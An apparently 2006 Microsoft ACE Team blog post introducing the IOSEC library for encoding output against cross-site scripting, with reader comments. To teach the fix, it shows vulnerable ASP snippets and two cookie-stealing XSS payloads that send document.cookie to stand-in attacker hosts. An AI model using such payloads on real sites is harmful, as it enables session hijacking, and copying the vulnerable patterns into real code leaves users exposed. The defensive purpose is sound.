Share via

ACE Team Tools and Libraries Part I - IOSEC

  • Article

Update [3/16/06, 4:56PM] There has been some confusion between what IOSEC does and what the Microsoft Anti-Cross Site Scripting Library does (linked to below). The Anti-XSS library currently has a subset of the functionality of IOSEC. Over the coming weeks and months, we will be porting over additional IOSEC functions into future releases of the Anti-XSS library. My colleague Kevin Lam will be posting more about this in future posts. Thanks!

My name is Hassan Khan and I am the Security Technologist on the ACE Team responsible for maintaining and developing security tools & libraries among other things. A large part of what we do is act as internal security consultants to teams at Microsoft when they have difficult security issues. One of the ways we help these teams is develop tools and libraries that they can leverage to mitigate the security issues they are facing. Today I wanted to share some of the details about one security library in particular: IOSEC.

IOSEC

Cross-Site Scripting (XSS) is a very common vulnerability found in web applications and we find it in many internal applications during security assessments. The application teams are often looking to us to show them how to fix vulnerabilities or recommend solutions and best practices. Currently, the ACE team’s answer to all cross-site scripting vulnerabilities is a library called IOSEC. In this blog entry, I’m going to explain what IOSEC does and why we encourage our application teams to use it instead of the Server.HTMLEncode method.

What is Cross Site Scripting? (XSS)

An application is vulnerable to XSS wherever it creates a dynamic webpage that displays user-controlled data. In a successful attack, the attacker gives a malicious script instead of a valid input which becomes embedded in the html document created by the application. The embedded script ends up executing in the browser of the victim as legitimate content.

Example of vulnerable code in the application: <html>Hello, <% = Request.Querystring(“name”) %></html>The attacker can input name as: Victim!<script>document.location= ”https://www.evilsitexyz.com/StealCookie.asp?Cookie=”+document.cookie</script>

The fundamental reason why XSS vulnerabilities exist is because the user supplied string is able to pose as code instead of simply as data in an HTML webpage. The transformation is brought about by inserting special characters in the user input. In the above example, the attacker can use the characters < and > to create a new script tag in the webpage and place malicious code inside it. IOSEC is a library of functions that can be employed to replace all unsafe characters from a string with their encoded values such that the client browser can never confuse the data with code.

The Server.HTMLEncode method available in ASP works on similar principles as IOSEC. However, IOSEC is more powerful than Server.HTMLEncode in the following ways.

One characteristic of IOSEC is that it encodes all but the known ‘safe’ characters while Server.HTMLEncode method, on the other hand, encodes only four characters (<, >, & and ") that are generally believed to cause XSS exploits. When it comes to sanitizing input, use of an inclusion list as done by IOSEC is the preferred security design principle to follow.

Another limitation of Server.HTMLEncode is that it does not provide any defense against XSS when the input string is being handled by the code that is already inside a scriptable context (see below for an example). In the example below, note that the attacker does not use any of the special characters that are encoded by Server.HTMLEncode. However, the IOSEC library provides two additional methods: EncodeJS and EncodeVBS that encode strings for each of these scripting languages such that the strings are treated literally by browsers.

Example of vulnerable code: <html><script language=”javascript”> var myVar = <% = Server.HTMLEncode(Request.Querystring(“myVar”))%>;…</script></html>The attacker can input myVar as: 9;document.location=’https://www.evil.com/StealCookie.asp?Cookie=’+document.cookie

 
Finally, the IOSEC library comes with a number of extended .NET web controls. Using the IOSEC extended web controls ensures that any user input displayed with in them is HTML encoded before being rendered.

A version of IOSEC is available for download at: https://www.microsoft.com/downloads/details.aspx?FamilyID=9A2B9C92-7AD9-496C-9A89-AF08DE2E5982&displaylang=en.

In the coming weeks and months, we’ll be posting more about other ACE tools and libraries like Doorbell, Trustee, CrytoGen etc. One big new release that is coming up very soon is the new 2.0 release of Threat Analysis & Modeling, you can get more details on that on ACE’s Threat Modeling blog.

Hassan Khan
Security Technologist
Microsoft - ACE Team

Comments

  • Anonymous
    March 13, 2006
    &amp;nbsp;&amp;nbsp;&amp;nbsp; The first one is beta 2 of the Threat Analysis &amp;amp; Modeling Tool 2.0. You can grab...
  • Anonymous
    March 13, 2006
    I've downloaded the Microsoft Anti-Cross Site Scripting Library V1.0 and i haven't found the EncodeJS and EncodeVBS methods that you have mentioned ...

    Tks.
  • Anonymous
    March 14, 2006
    Hi Spinelli,

    Thanks for your feedback.  The current Microsoft Anti-Cross Site Scripting Library is a subset of IOSEC.  Keep watching this blog for future releases that will have all the other functionality.

    Thanks for reading!

    Ahmad [MSFT]
  • Anonymous
    April 05, 2006
    This is a great toolset. Any chance you can have samples in VB.NET also?
  • Anonymous
    May 22, 2006
    I've downloaded the Anti-Cross Site Scripting Library and am trying to use it with an existing strong named assembly but am getting the following error: Unable to emit assembly: Referenced assembly 'AntiXSSLibrary' does not have a strong name

    How can I strong name this assembly, ive tried tlbimp but this doesnt seem to work.  Any help much appreciated.
     
  • Anonymous
    May 08, 2007
    PingBack from http://www.rachner.us/blog/?p=5
  • Anonymous
    August 24, 2008
    Hace un par de días Microsoft ha liberado una lista de chequeo para aceptación de código de SharePoint
  • Anonymous
    August 24, 2008
    Hace un par de días Microsoft ha liberado una lista de chequeo para aceptación de código de SharePoint
  • Anonymous
    May 26, 2009
    PingBack from http://castironbakeware.info/story.php?title=ace-team-security-performance-amp-privacy-ace-team-tools-and
  • Anonymous
    May 31, 2009
    PingBack from http://indoorgrillsrecipes.info/story.php?id=298